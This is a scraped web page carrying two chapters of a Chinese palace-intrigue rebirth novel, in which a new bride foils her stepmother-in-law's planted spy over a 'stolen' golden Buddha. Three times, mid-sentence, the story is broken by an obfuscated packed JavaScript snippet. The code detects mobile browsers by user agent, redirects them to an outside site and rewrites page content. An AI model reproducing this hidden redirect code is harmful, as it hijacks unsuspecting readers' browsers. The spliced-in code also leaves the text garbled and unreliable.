他说什么?他说是自己打了婆母?他明明知道事情是怎样的,怎么能这样污蔑自己?何况,婆母的头未必就是被她丢的香炉砸坏的! 叶蕙珠在家时是陆怡珊和叶修恺的掌上明珠,在外更是许多人羡慕的叶府大小姐,除了前世嫁人之后,她还从来没有被人用这种语气斥责过! 她可是低嫁! 抛弃一切荣华富贵,舍去她叶府大小姐的光环,和沈仕楣一起过好几年的苦日子,就图他对自己好。 可是他现在竟然这么对待自己?! 这还是新婚第一天! 眼看着三儿媳气得胸脯都鼓了,裘氏连忙止了叫唤,抬手狠狠敲了下沈仕楣的头。 “三小子,你这是什么态度?哪有这么跟你媳妇说话的?” 沈仕楣被老娘敲得发蒙,回头对上她不停眨眼时,忽然想起什么。他连忙转身拉起叶蕙珠的手,语气又轻又柔。 “珠儿莫怪!我也是因为娘忽然受伤,一时乱了心,不是故意要对你发脾气的。我错了,珠儿原谅我吧!” 裘氏也在一旁解释,“三小子知道错了,我也教训过他了,珠儿不要生气。” 两人认错态度良好,叶蕙珠自认也不是不讲理的人,何况她已经嫁进沈家来,若是新婚第一晚就给自己相公和婆母冷脸,未来的日子一定不好过。 虽心中仍有郁气,叶蕙珠还是扬起一抹微笑。 “娘说笑了,夫妇本为一体,我怎么会生相公的气呢?” 沈仕楣低头看她,正好看见她娇艳的容颜,一个时辰前的美妙感觉忽然浮现,他咽了咽口水,语气更软了些。 “珠儿不怪我就好。” 叶蕙珠也含笑望着他,然后转头看向裘氏,“娘还没告诉我你方才在窗外做什么呢?” 裘氏一听又是这个问题,摸着脑袋又开始叫起来。 沈仕楣见状上前拥住叶蕙珠肩膀,“天色不早了,娘伤口又疼得厉害,我们还是不要打扰她了,先回吧。” 叶蕙珠只好咬唇作罢。 裘氏头上受伤,第二日叶蕙珠的敬茶和其他儿媳的请安就被免了。 叶青漓这边却不能说免就免。 翌日一早,叶青漓还未苏醒,采莲便已经端着净脸的水盆进来。 “二小姐,别睡了,该起来去给老爷夫人敬茶了!” 叶青漓翻了个身,将被子卷在头上,采莲的声音瞬间变得嗡嗡的。 瞧见她这动作,采莲眼中带笑,昨日她还觉得小姐说话老里老气的,现在一看,还是跟个孩子一样,喜欢赖床嘛。 她爬到床边,抬手轻轻扯动被子一角,“二小姐,真的不能再睡了,今天是二小姐第一天去给长辈敬茶,若是去晚了传出去不好听!” “不好听就不好听,我又不稀罕……” “二小姐说什么?” 室内静了一瞬,叶青漓倏然转醒。 不对!她重生了!她已经不是沈仕楣的妻子了! 这一世她是顾国公府的大少奶奶,手里有钱又有闲,男人还有病,她怎么能浪费大好时光在床上呢? “不睡了,不睡了!采莲快帮我更衣!” 叶青漓很快拾掇完毕,昂首挺胸向着赵氏的院子走去。 只要过了敬茶这关,以后她就自由了! 刚经过一个拐角,叶青漓视线中出现一道暗红色的身影。 不同于白云观上青灰道袍的飘飘欲仙,也不似昨日那身正红耀眼炫目,这身暗红穿在顾承宴身上,无形中放大了他邪肆狂魅的气质。瞧着不像是钟鸣鼎食之家的公子,倒像是杀人不见血的大魔头,十足的张狂恣意! 嘶——! 她这是哪来的福气,竟然嫁了这么一个美人? 他生得这般美,那些不能言之于口的缺陷都变成了优点! 叶蕙珠真是身在福中不知福! “夫君,早上好!” 叶青漓脸上的笑容比方才更明媚几分。 她惊艳于顾承宴姿容绝世的同时,不知道自己也是他人眼中的美景。 因是新婚,叶青漓穿的也是一身红色,与顾承宴记忆中夏日里那身绿色衣裙的少女形成鲜明对比,这身红没有昨日大婚嫁衣那般鲜艳,却如春日暖阳下绽放的花朵一般夺目。嘴角时常噙着的一抹笑,更是令人如沐春风。 只是看她一眼,便叫人觉得耳边的风都有了温度。 “早上好。” 顾承宴大步走来,与叶青漓并肩,两人就这么沉默着一路来到主院。 两人赶到之时,屋内已经坐满了人,全都是顾国公这么些年辛苦劳累的成果。 一进屋内,二人直奔主题,给顾国公夫妇敬茶。 顾国公喝完茶后,表情依旧严肃无比,只眼底流露出几分欣慰, “你已经成了家,往后便不要再去劳什子道观,好好在家陪陪你妻的子,早日生个孩子才是正事!” 面对顾国公如此直白的话语,叶青漓嘴角弧度不变。 顾承宴却皱了眉,“等回门之后,我还要回到山上去,师傅还有任务等着我去办!” “胡闹!你一个道士,成日里在山上能有什么正经事?你看看满京城和你一般年纪的,有哪个会成日在山上念经打坐的?” 顾承宴不再言语,顾国公却气得吹胡子瞪眼。 赵氏适时开口,“老爷,孩子大了,有自己的想法,咱们就不要掺和了。而且我瞧这新妇是个懂事的,有她在,承宴早晚会回心转意的!” 捧杀!绝对的捧杀! 若是顾承宴真的一辈子都做道士,顾国公岂不是恨毒了自己无能? 叶青漓嘴角依旧噙着笑,“夫人谬赞了,青漓是夫君的妻子,自然以夫为天。” 话落,顾国公方向热切的目光果然冷了下来。 赵氏闻言微愣,似乎没想到叶青漓反应这么快。 “呵呵,是我说笑了,还是继续敬茶吧。” 她眸色微闪,很快便有侍女送上第二杯茶。 叶青漓眼尖地发现端茶的侍女虽然努力低着头,自己依旧能看清她紧蹙着眉,高举于额头的双手也微微颤抖,指尖更是用力到发白,似乎正在承受什么痛苦? 她目光落在那杯盛放于薄胎赤色琉璃盏的热茶时,瞬间明悟。 这都老掉牙的套路了,赵氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578729|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然还用? 在几道期待的目光下,叶青漓缓缓伸出手,将要端起茶盏时,素白的手指转了道弯。 “我想起来了!” 叶青漓双眸微亮,“昨日我与夫君拜堂之时曾告知婆母大婚之事,今日敬茶是否也该让婆母喝一杯儿媳的茶?如此也算礼数齐全!” 这里的婆母自然指的不是赵氏,而是昨日牌位上所写的顾承宴生母。 赵氏脸上微笑僵住,实在是没有料到一个理由竟然能用两次! 顾国公听见这话没什么太大的反应,昨日都把牌位拿出来拜了,今日不过一杯茶的事,他难道还要拒绝吗? “你能有这份心,很好!” 此话一出,赵氏险些咬碎了一口银牙! 叶青漓却不在乎赵氏的心情,对着端茶来的侍女说道:“还请帮我把这杯茶放在婆母的牌位前吧。” 侍女端着热茶来,又端着热茶走,只是离去的脚步多了几分匆匆。 接下来的敬茶便十分顺利了。 赵氏喝下温度正好的热茶后,顾承宴带着她认了屋内的其他人。 顾承宴身为顾国公嫡长子,在他之下还有四个弟弟,一个妹妹。 二公子顾承平,是顾承宴生母身边的丫鬟所生,在府中地位尴尬,一直谨小慎微,不参与争斗。妻申氏家境不好,胜在温柔贤淑,夫妻二人关起门来过小日子,生活得有滋有味。 “二弟,二弟妹。” “见过大嫂。”“见过大嫂。” 三公子顾承卓,赵氏所生。自幼将顾国公府的爵位和家产视为囊中物,将顾承宴这个‘不学无术又无能’的小白脸道士视为眼中钉,肉中刺。妻辛氏,也就是昨日让叶青漓跨火盆的那个,与他一样的目中无人,似乎这顾国公府已经是他们的天下。 “三弟,三弟妹。” “大哥在山上修道多年,我还当他要飞升成仙了,没想到竟能看见他娶妻的这一天,看来他与我一样也是俗人一个。大嫂,你说是不是,啊哈哈哈哈!” “相公快别说了,小心把大嫂吓跑了,大哥可要生气的!” 叶青漓无视两人的调侃,径直走向下一对夫妻。 四公子顾承浩,宠妾所生,与三公子一向交好。妻郑氏与他感情不合,经常因着一点小事争吵。 “四弟,四弟妹。” “见过大嫂。三哥说得对,大哥曾经说这辈子不会娶妻,没想到还是娶了大嫂回来。可见大哥说的话根本就不可信!” “你懂什么?这婚事是府里办的,大哥事先又不知道,难道你叫大哥知道后还撇下大嫂一个人,回山上去吗?” “我与你说不明白!” “知道自己说不明白就别乱说!” 顾承宴不仅说过自己不愿娶妻,还说过他不想要家里的爵位。郑氏明着嘲讽暗里解释,实在是个妙人! 五公子顾承泰是另一个宠妾所生,自幼聪慧非常,却一直因为母亲的缘故被三公子压上一头。妻于氏大概是几个弟妹中容貌最不佳的,却内藏锦绣,也是个妙人。 “五弟,五弟妹。” “见过大嫂。大嫂嫁进来,以后就是一家人,若有什么需要的,可以直接来找婉婉。” “夫君说得是,大嫂可要与我们常走动才好。” 叶青漓微笑点头,终于走到最后一人面前。 顾承英——赵氏所生,顾国公唯一的女儿。在这个人人都各怀心思的家里,唯她对人对事只有一副面孔。只因赵氏和顾国公给了她足够的宠爱,让她无需像其他人一样筹谋算计。 “承英妹妹。” 顾承英点了点头,“大嫂。” 叶青漓对于这些人的了解,自然不可能是顾承宴介绍的。 这些全都来自于采莲这几个月的调查包括昨日在顾国公府的打听。虽然不是很细致,但也足够用了。多亏她提前做足准备,自己面对几人或褒或贬的评价才能始终保持微笑! 等回去一定要好好奖励她! 敬茶结束后,男子们各自去做事,女子们则留在一起说说体己话。 顾承宴有些担心叶青漓能不能处理好这些,正要嘱咐她几句,便看见叶青漓已经在没有请示任何人的情况下坐了下来。 他回忆着昨日叶青漓跨火盆时的样子,以及她在后山教训师弟的手段,紧蹙的眉心舒展。 是他多虑了! 站了一上午,叶青漓终于能坐下好好喝杯茶,怎料她一口茶水还未咽下,辛氏就已迫不及待。 “听说昨夜大嫂同大哥未曾圆房?” “噗——!” 8. 金佛丢失 叶青漓狠狠呛了一口水。 她擦去唇边水渍,看向辛氏。 她本以为只有沈仕楣的娘才会对旁人的这种事如此上心,怎么辛氏年纪轻轻的,也这样? 难道说是她太封建了? 一愣神的功夫,辛氏已经自动脑补了昨夜顾承宴和叶青漓的洞房细节,她同赵氏交换了一个看戏的眼神,嘴角笑得弯起来。 其他三个弟妹听见辛氏这话表情各异。 申氏微低着头,拿起帕子压在嘴角,什么话都没说。 郑氏闻言先是一怔,继而目光戏谑,端起桌边的茶盏慢悠悠喝了一口茶,也没开口。 于氏闻言,眉心微蹙,有些担忧地看了叶青漓一眼,颇有些不满地替叶青漓开口质问。 “这是大哥大嫂的房中事,三嫂怎么会知道?” 辛氏一脸洋洋得意,丝毫不觉自己的话有什么问题,“昨夜大哥留宿在覃竹园,这是府中皆知的事实,可不是我刻意窥伺。” 她捏着手帕,故作姿态探出身子询问。 “大嫂,你说这是为什么呀?” 早有侍女为叶青漓换上一杯新茶,她拿起茶盖,轻轻撇去茶汤上的浮沫,淡笑一记。 “三弟妹觉得呢?” “这种事情,我哪知道……”辛氏眼珠转了转,嘴角勾起一抹坏笑,“莫不是大嫂惹大哥生气了?” 茶汤微烫,氤氲的雾气上升,叶青漓的目光变得有些扑朔迷离,她轻吹了一口气,雾气消散,声音淡淡的。 “三弟妹觉得呢?” 被叶青漓用同样的话堵了两次,辛氏笑意微冷,目光开始不善。 许久未曾开口的赵氏忽而出声,“你既然嫁进顾家,便是顾家的媳妇,身上最重要的任务就是为顾家繁育子嗣!” 叶青漓乖顺接话,“儿媳明白。” “既知道这些道理,为何昨夜没能留住承宴圆房?” “婆母觉得呢?” 赵氏被叶青漓一噎,脸色瞬间暗下来。 叶青漓却不抬头看她,饮了一口热茶细细品味。 对于大多数初为人妇的女子来说,婆母和妯娌的一句问话,要慎之又慎回答。若问的是房中事,大抵都会底气不足,又羞又怯,败下阵来。 可叶青漓不是一般人! 莫说她早就知道顾承宴有问题,做好了心理准备。便是上一世,她发现裘氏质疑她能否生育,偷听洞房,也是直接打回去的。 赵氏等人反复问了几个问题,左右逃不过叶青漓和顾承宴的新婚之夜,可她又像是一团棉花一样,扯不开揉不烂,几人没有得到自己想要的回答,便各自散了。 临走之时,赵氏将叶青漓叫住。 “你刚来顾府,人生地不熟,承宴又是个不懂的疼人的,少不得我这个做婆婆的多为你打算。”她一脸微笑,像是一心为叶青漓着想,“这几个人是我用惯了的,你带回去使唤吧,有她们在,我也能放心些。” 面前三个婆子瞧着就是奸懒馋滑的,叶青漓回笑,“既然都是婆母用惯的人,让她们跟我走了,婆母身边又该怎么办?还是……” “我们顾国公府家大业大,几个伺候人的下人还是有的。”赵氏忽然冷了脸,一脸严肃,“还是说你瞧不上我,不愿意收下?” 这话说得颇为严重,叶青漓无奈,只好收下。 回去的路上,采莲时不时望向身后跟着的三个婆子:一个高得能顶到房梁,一个矮得能看见头顶,还有一个胖得和管事莱福有得一拼。 一回到蔚莲阁,采莲立刻想跟叶青漓抱怨。 叶青漓却给了她一个眼神示意,先询问三个婆子一番,将她们安排下去等待分配任务,才看向采莲。 “二小姐,这国公夫人也太不像话了!这哪是送人啊?分明是在打发不顺眼的下人!” 叶青漓看着她为自己打抱不平,心底一暖。 “你觉得她真的只是送几个下人过来?” 采莲一愣,“不是吗?” “当然不是!” 叶青漓给自己倒了杯热茶。 “你看那个子最高的婆子,平素即使站在院子外面,随便往咱们院里一瞅,就能看得一清二楚;那个矮的,若是躲在窗台下偷听咱们说话,不刻意去找根本发现不了;还有那个胖的……” 采莲追问,“那个胖的怎么了?” 叶青漓两手一摊,“她若是打定主意在我这做事,你家小姐我可就要被吃穷喽!” 采莲噗嗤一笑,心中气恼少了几分,却依旧为叶青漓担忧不已。 “那这么说,这三人都是国公夫人的眼线?” 叶青漓不置可否。 采莲更急,“那咱们该怎么办?难道就由着她们做奸细吗?” 叶青漓狡黠一笑,“当然不是!” 本着尊敬婆母的原则,叶青漓很快给三人安排了差事。 个高的田婆子管院中洒扫,负责管束院中下人清理枯枝落叶,擦拭桌椅灰尘,时刻维持院中洁净;个矮的赖婆子管院中针线,包括叶青漓的四时衣裳;胖胖的钱婆子,则被叶青漓委以重任,负责帮她看管嫁妆。 叶青漓特意单独将钱婆子叫到跟前,把存放嫁妆房间的钥匙亲自交到她手上。 “钱妈妈,你是婆母身边的老人,我敬爱婆母自然也十分信任你,希望你好好守着这钥匙,可不要弄丢我的东西!” 钱婆子闻言十分欢喜,笑得眼睛都看不清了。 “大少奶奶放心,老婆子我别的本事没有,在保管银钱这方面却是一顶一的,这钥匙放在我这里,大少奶奶就把心放肚子里吧!” “如此,那就有劳钱妈妈了。” 得了差事,三个婆子在蔚莲阁各司其职,叶青漓也瞬间清净许多。 采莲守在窗边,透过窗户的缝隙时不时望向窗外,一脸纠结。 叶青漓看得发笑,抬手招她坐到自己身边。 “你这是做什么?干嘛这么焦虑?” “二小姐,你是没看见那个田婆子,不过是扫块地,就对着咱们院里的人颐指气使,瞧着比你还要像主子!” “还有赖婆子,我方才去寻她取小姐回门日要穿的衣裳,可她竟然说什么为防我弄污了衣裳,得等到回门当天才能交给我!” “最最重要的是钱婆子!你就这么把钥匙给了钱婆子,就不怕她起了贼心吗?那可都是二小姐的嫁妆啊!” 叶青漓拍了拍手中的东西,“我的嫁妆都在这呢!” 采莲闻言向她手中望去,叶青漓面前摆着许多张颜色大小不一的纸,经过她在叶府的短暂学习,勉强认出纸上的田、地、街巷等字。 “这是……?” “这是我名下田地,庄园还有商铺的地契,钱婆子现在守着的,不过是一些不重要的衣裳首饰,玉器摆件罢了。” 采莲点点头,又很快摇头。 “那也不能就这么交给她啊!奴婢方才瞧着她都进进出出好几趟了!” 叶青漓统计着手里的契书,头也不抬。 “很快她就进不去了……” * 大婚后第二天,叶青漓带着采莲高高兴兴找到钱婆子,说要取出嫁妆里的一尊纯金打造的文殊菩萨像。 “义父义母收养我一场,我还未为他们做些什么,就嫁进顾家,心中实在愧疚。我弟嘉伦明年就要参加春闱,我想把这尊金像送回家中,保佑嘉伦弟弟心想事成!” 钱婆子闻言立刻带着叶青漓往存着嫁妆的房间走。 “大少奶奶不仅想着叶家的二老,还能记挂着弟弟,实在是心善又孝顺!” 叶青漓但笑不语。 到地方后,叶青漓并未进去,而是和采莲一起站在门外,等着钱婆子把佛像拿出来。 可是许久之后,钱婆子都未曾出来。 叶青漓偏头看了采莲一眼。 采莲立刻上前询问,“钱妈妈,好了没有?我家小姐一会还要去准备别的回门礼,可没时间耽搁!” 话音落下,一身肥肉的钱婆子就颤颤巍巍地走了出来。 颤动的颊肉上满是汗珠,“这……大少奶奶容禀,老奴实在是没有找到你说的那一尊佛像啊!” 叶青漓微讶。 “这怎么会?我记得清清楚楚,就放在这间屋子里。” 钱婆子也是一头雾水,她昨日拿到钥匙后,就将大少奶奶的嫁妆全都整理了一遍,里面放着什么东西她都一清二楚,哪怕是根针她都记录在册。 那么大一尊金佛,怎么会没有了呢? 钱婆子解释过后,怕叶青漓不相信,又让她自己进去翻找,叶青漓和采莲找了半天,果真没见到那尊佛像。 叶青漓忍不住皱眉,“这下可坏了,我已经和义父说好将添妆的这尊佛像送给嘉伦弟弟,现在却找不见了,这该如何是好?” 钱婆子闻言,脑门上不断冒出更多冷汗。 这样大的一尊纯金佛像丢失,可是重大失误!甚至还牵扯到叶家,她这下罪过大了! 偏在她心虚之际,采莲忽然抓住她的胳膊。 “我家小姐把钥匙给你的时候,佛像还在里面,你不过看管了一日,东西就丢了,世上哪有这么巧的事?” “快说!你把东西藏哪了?!” 采莲平日里看着文文弱弱的,实则也是个厉害的,否则怎么能一个人带着弟弟,千里迢迢逃难来到京城? 钱婆子想要甩开她的手,却惊觉这丫头力气这么大,一时竟挣脱不开? 她只能由着采莲抓住她的胳膊,对叶青漓解释。 “大少奶奶明鉴,我钱婆子别的本事没有,就有一个银钱账目清楚的优点!经过我手里的东西,从来都是清清楚楚,干干净净的,我绝对不会昧下一分一毫!” “而且,而且我是夫人送来的人,我怎么会偷大少奶奶的东西呢?” 叶青漓闻言眉心蹙得更紧,似乎很是苦恼。 采莲在一旁大喝,“小姐你别听她的!她们这些老仆最是欺软怕硬,她们笃定小姐刚嫁进来,想给婆家留个好印象,即使东西丢了也不敢声张。” “咱们偏不!” 她抓着钱婆子的手微微使力,瞬间疼得钱婆子两眼冒泪,“偷了我们的东西就要给我们还回来!快说,你把东西藏哪了?你要是不说,我就要请国公夫人来问你了!” 采莲面中带怒,语气激烈,瞬间吓得钱婆子软了语气。 “好姑娘唉,老婆子我真的没偷大少奶奶的东西!才第一天我就偷东西,这不是明摆着告诉别人贼人是我吗!” 叶青漓闻言眸色闪了闪。 她和采莲僵持之际,叶青漓出言调解。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578730|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “采莲,先把她放了。” “小姐!” “把她带到婆母面前询问清楚,若真是她偷的,必须得把东西还回来,若不是她,看管不利,随着婆母处置好了。” 钱婆子见叶青漓肯劝采莲,好容易松了一口气,听完她后半句话,一颗心瞬间提到了嗓子眼。 夫人派她来可是有大作用的,现在还没成事,自己先成了半个贼,夫人知道后,恐怕…… “大少奶奶,有事好商量,这金佛真的不是我偷的!” 钱婆子还要再说,却抵不过采莲的力气,被她拉着去了赵氏的院子。 叶青漓是新婚。 身上有换嫁新娘,叶父义女,顾承宴之妻,没有圆房等许多标签,一直是府中人关注的焦点。 她带着身边的侍女,和赵氏身边的钱婆子拉拉扯扯往前走的事情,很快传遍府内。 等叶青漓走到赵氏院中时,屋内已经坐了好几个闻询而来的人。 叶青漓看见几人脚步未停。 先规规矩矩向赵氏行了一礼,“儿媳见过婆母。” 又朝一旁点头,“三弟妹,四弟妹,五弟妹。” 赵氏一早就得到消息,也没跟她绕弯子。 “府中人都传遍了,说你身边的丫头差点折断了钱婆子的胳膊。怎么,是她哪里伺候得不周到惹你生气了,还是你心里瞧不上她是我送去的人,故意折腾?” 辛氏连忙补充,“娘可不知道,这一路上不少人听见钱婆子哭嚎呢,可见大嫂是真的动怒了,就是不知道她是在生谁的气?” “三弟妹说得哪里的话?”叶青漓微微一笑,“实在是我与钱婆子之间闹出一些误会,因她是婆母手下的人,我不好处理,所以特来请婆母为我主持公道。” “哦?什么误会?” 叶青漓点头,采莲立刻将钱婆子推在地上,把钱婆子保管钥匙到金佛丢失一事说得详细又直白。 话了,叶青漓揉着手帕,犹豫道:“其实那尊金佛也不值几个钱,只是采莲急着为我出头。钱婆子好歹是婆母的人,若不然,若不然还是算了……” “不能算!” 赵氏立刻打断叶青漓,一向上扬的眼尾微微眯起。 “国公爷治家严谨,我也一直以身作则。这婆子不论是谁身边的,偷了东西就是大罪!” 钱婆子被赵氏冷厉的语气吓得浑身一抖,跪趴在地上连声为自己解释。 “夫人明察,老婆子可不敢偷大少奶奶的东西。” “这,这都是个误会!” “误会?” 采莲冷眼瞪着钱婆子,“那你说说金佛去哪了?” “这,这,这我也不知道啊!” 钱婆子此刻有些绝望,有什么能比有贼心,有贼胆,没动手更难受的! 她脸上的绝望不似作伪,辛氏见了心下越发觉得此事有蹊跷。 她冷着语气,“大少奶奶给你钥匙是相信你,可你却辜负了她的信任。”忽又对着赵氏调转话头,“不过此事最好还是调查清楚,我们顾国公府决不会放走一个背主偷窃的奴才,也绝不能冤枉一个忠心耿耿的老仆!” 叶青漓立刻咬唇,委屈地看向赵氏。 “还请婆母为我做主!” 钱婆子也跟着猛磕几个响头。 “求夫人为老奴做主啊!” 赵氏拧眉,“可是金佛不知所踪,钱婆子又矢口否认,该如何调查清楚呢?” 一直未发一言的于氏忽然开口。 “依儿媳之见,这金佛是贵重之物,偷走它的人怕人察觉,定然会想个办法藏起来。” 她看了眼地上的钱婆子,“不如先去钱婆子的房间搜一搜,这么短的时间,若她真的是那贼人,想必也没工夫把东西弄出府外。” 郑氏跟着说道:“五弟妹说得对,若搜到了,钱婆子就是贼!若搜不到,想来就是大嫂错怪钱婆子了。” 对上郑氏投来的戏谑目光,叶青漓咬牙道: “还请婆母派人搜一搜!” 赵氏觉得这主意不错,忙派人去钱婆子的屋子搜查。 下人的房间,距离赵氏这尊贵的主院有段距离,众人便耐心等着。 其间辛氏还问起叶青漓缘何无故找一尊金佛,叶青漓说了,她笑起来。 “这么说来,金佛丢失确实是一件大事!” “可是钱婆子也是娘身边的老人,全府人都了解她的秉性,她是断断不会做出这种事情来的。若稍后她的房间未搜出东西,大嫂可就冤枉了这个在国公府二十多年的忠仆!” 叶青漓丢了东西,本就心焦,又被辛氏拿话调侃,气得眼睛发红。 “若是我误会了她,必会亲自跟她赔礼道歉!” 辛氏忙摆手,“大嫂倒也不必如此较真,大家都是一家人嘛。” 叶青漓却被她怪声怪调的语气激得更加气愤。 “我说到做到!” 如此,辛氏也没话说了。 她与赵氏交换了一个眼神,两人都成竹在握! 她们还没吩咐过钱婆子动手,金佛不可能是她偷的,到时候真相大白,叶青漓这个尊贵的大少奶奶,就要向一个低贱的奴仆低头认错了。 从此以后,她在府中还有什么颜面…… “找到了!找到了!” 9. 贼喊捉贼 下人的一声惊呼瞬间打断两人的思绪,一尊纯金打造的文殊菩萨像很快出现在众人眼中。 “禀夫人,奴婢在钱婆子的衣柜里发现这尊佛像,找到的时候它还被裹在钱婆子的小衣里,包得严严实实的!” 下人语气甚是鄙夷! 她们都是国公府二十多年的奴仆,下人做到这个份上,即便是在大少奶奶这位新妇面前也是有几分体面的。 钱婆子却为了一尊金佛做出此等自毁前途的事,不仅辜负了夫人对她的信任,还败坏了她们这些人的名声。 实在可恶! 赵氏则震惊不已! 钱婆子是她的人,她偷没偷金佛,自己能不知道吗? 可如今证据就摆在眼前,就连去搜查的人都是自己派去的,叶青漓做不得一点假。 可见,这个口口声声对她忠心的老仆骗了自己! 赵氏惯常微笑的脸瞬间耷拉下来,眼中暗光一闪而过。 “如今证据摆在众人眼前,三弟妹,可能确认并非是我冤枉钱婆子了?” 辛氏讪笑两声,张嘴时却没有方才那般底气十足,“呵呵,大嫂说得这是哪里的话,我方才不过是多说了几句,我这人就是这样的性子,怪我多嘴,怪我多嘴……” 叶青漓眼角带着几分委屈的红,转头看向赵氏,“钱婆子偷了我的东西,证据确凿,还请婆母为我主持公道!” 自听见金佛被找到起便两眼一黑,脑袋发空的钱婆子终于回了神,她狼狈地爬向叶青漓,扯着她的衣角。 “大少奶奶,老奴真的没有偷你的东西啊!” “那金佛,我也不知道是哪个黑心肝的放进我房间的!” 采莲果断挥开她的手,“呸!还撒谎!” “若不是你,为何金佛藏在你小衣里?” 这个细节,更加确认了钱婆子的罪行。毕竟,她一个上了年纪的老仆,谁会去碰她的小衣? 叶青漓抿唇不语,目光始终落在赵氏身上。 钱婆子连忙又爬向赵氏,不住磕着头。 “夫人,老奴冤枉啊!夫人是知道我的,我不可能做这种事啊!何况我是被夫人派来伺候大少奶奶的,我怎么会偷她的东西呢?我……” “来人呐!钱婆子偷盗财物,刁奴背主,打她三十板,将她赶出府去!” “夫人!” “夫人你不能这么对我!我可都是听从夫人的命……” “把她的嘴也给我堵上!” 几个膀大腰圆的婆子堵住钱婆子的嘴,将她拉了出去,屋内霎时恢复宁静。 赵氏暗自松了口气,微笑看向叶青漓,“钱婆子在我身边伺候多年,我竟没有看出她是这样的人。幸好没耽误你回门送礼,你不会因此埋怨我吧?” 叶青漓低着头,长长的羽睫遮住了眸中神色,“钱婆子自己生了贼心,与婆母何干。不说旁的,婆母送来的田婆子和赖婆子都是得用的,给儿媳解决了大麻烦呢!” 赵氏闻言,眸色再度亮起,嘴角笑意更深一分。 “能帮到你就好,时间不早了,你明日还要回门,我就不留你说话了。” 叶青漓点点头,很快带着采莲和那尊金佛离开。 屋内其他几人也识趣离开,待看不见几人的身影后,赵氏脸上的笑容顷刻消失。 未曾离开的辛氏见状,忍不住问道: “娘,你说这金佛真的是钱婆子偷的吗?” 赵氏满眼不耐烦,“是她偷的如何,不是她偷的又如何?总之这个人以后不可再用了!” 辛氏搅着手帕,颇为烦躁道:“没想到大哥的这个新妇动作这么快,人才送过去第二日就折了一个!” 赵氏却勾起唇角,眸中罕见亮出几分期待。 “无妨,日子还长着呢!” * 叶青漓带着采莲离开后,仔细检查了一遍,确认金佛没有损伤后,才重重松了一口气。 “幸好这金佛没有出问题,否则我真是不知该怎么和父亲交代了!” “我这里还有一尊羊脂白玉雕刻的文曲星像,大嫂若是不嫌弃,不若拿回家去?” “五弟妹?” 叶青漓惊讶回头,看见于氏正朝她走来,连忙摇头。 “那怎么行,五弟妹方才在婆母面前已经帮了我许多,若不是你开口搜查钱婆子的屋子,我这尊金佛可就找不回来了,怎好再要五弟妹的东西?” “哪里?只是几句话罢了。” “府中的情形大嫂今日想必也看清楚了,夫君让我多帮帮大嫂,可我人微言轻,只能做到这些。”于氏忽左右看了两眼,上前几步压低声音,“可若是今日坐在那里的换一个人,便不会有钱婆子之事了,大嫂你觉得呢?” 叶青漓笑起来,“五弟妹的话我怎么听不太懂?” 于氏一愣,继而也笑起来,“是我多嘴了,没得和大嫂胡言乱语了几句,大嫂别往心里去。” 她随后对着叶青漓俯了身子,“我屋中还有事,就不多与大嫂闲聊了。” 说罢,转身离去。 她刚走,叶青漓身后又传来一人的声音。 “大嫂不是急着去准备回门礼吗?怎么在这站着?” “是该准备的,方才遇见五弟妹,与她说了几句话。” “哦?” 郑氏挑眉,一副看好戏的神情,“五弟妹和大嫂都说了什么?” 叶青漓面不改色,“不过是为我的回门礼出出主意……” “果然如此!” 叶青漓话还没说完,就被郑氏打断,她嘴角含笑。 “大嫂觉得五弟妹如何?” 叶青漓毫不犹豫,“是个热心肠的。” 郑氏笑意更深,“那大嫂可要小心,不要被这热情烫着!” “四弟妹这是什么意思?” 郑氏拢了拢颈间的狐皮围脖,“天冷了,我就不多陪大嫂了!” 叶青漓黑眸望向两人离开的方向,忍不住摇头,这顾国公府的情况可比沈家复杂多了! 回到蔚莲阁后,叶青漓将田婆子和赖婆子叫到跟前。 两人站在叶青漓面前互相对视一眼,态度比昨日恭敬许多。 “不知大少奶奶叫我们两人来有什么吩咐?” 叶青漓抬头就是一个熟悉的微笑。 “本也不是什么大事,想必你们也听说了钱婆子的事。我本是看在婆母的面子上才给予信任,将嫁妆钥匙交给她,没想到她竟偷窃财物,实在是伤了我和婆母的心。” “幸而婆母已经打她三十大板赶出府去。” 叶青漓话罢,端起茶盏慢条斯理滑动着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578731|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两个婆子却脸色发白,惴惴不安起来。 钱婆子的事发生得突然,她们只知道叶青漓把人带到夫人面前,后来钱婆子就再也没回来,竟不知道她已经被赶出了府,还背上一个偷盗的罪名!犯了这种大罪的奴才,哪里还有人家愿意要? 她们都是夫人送到蔚莲阁来的,身上背着什么任务各自清楚,如今才不到一天,最受夫人信任的钱婆子竟然就被赶出府了? 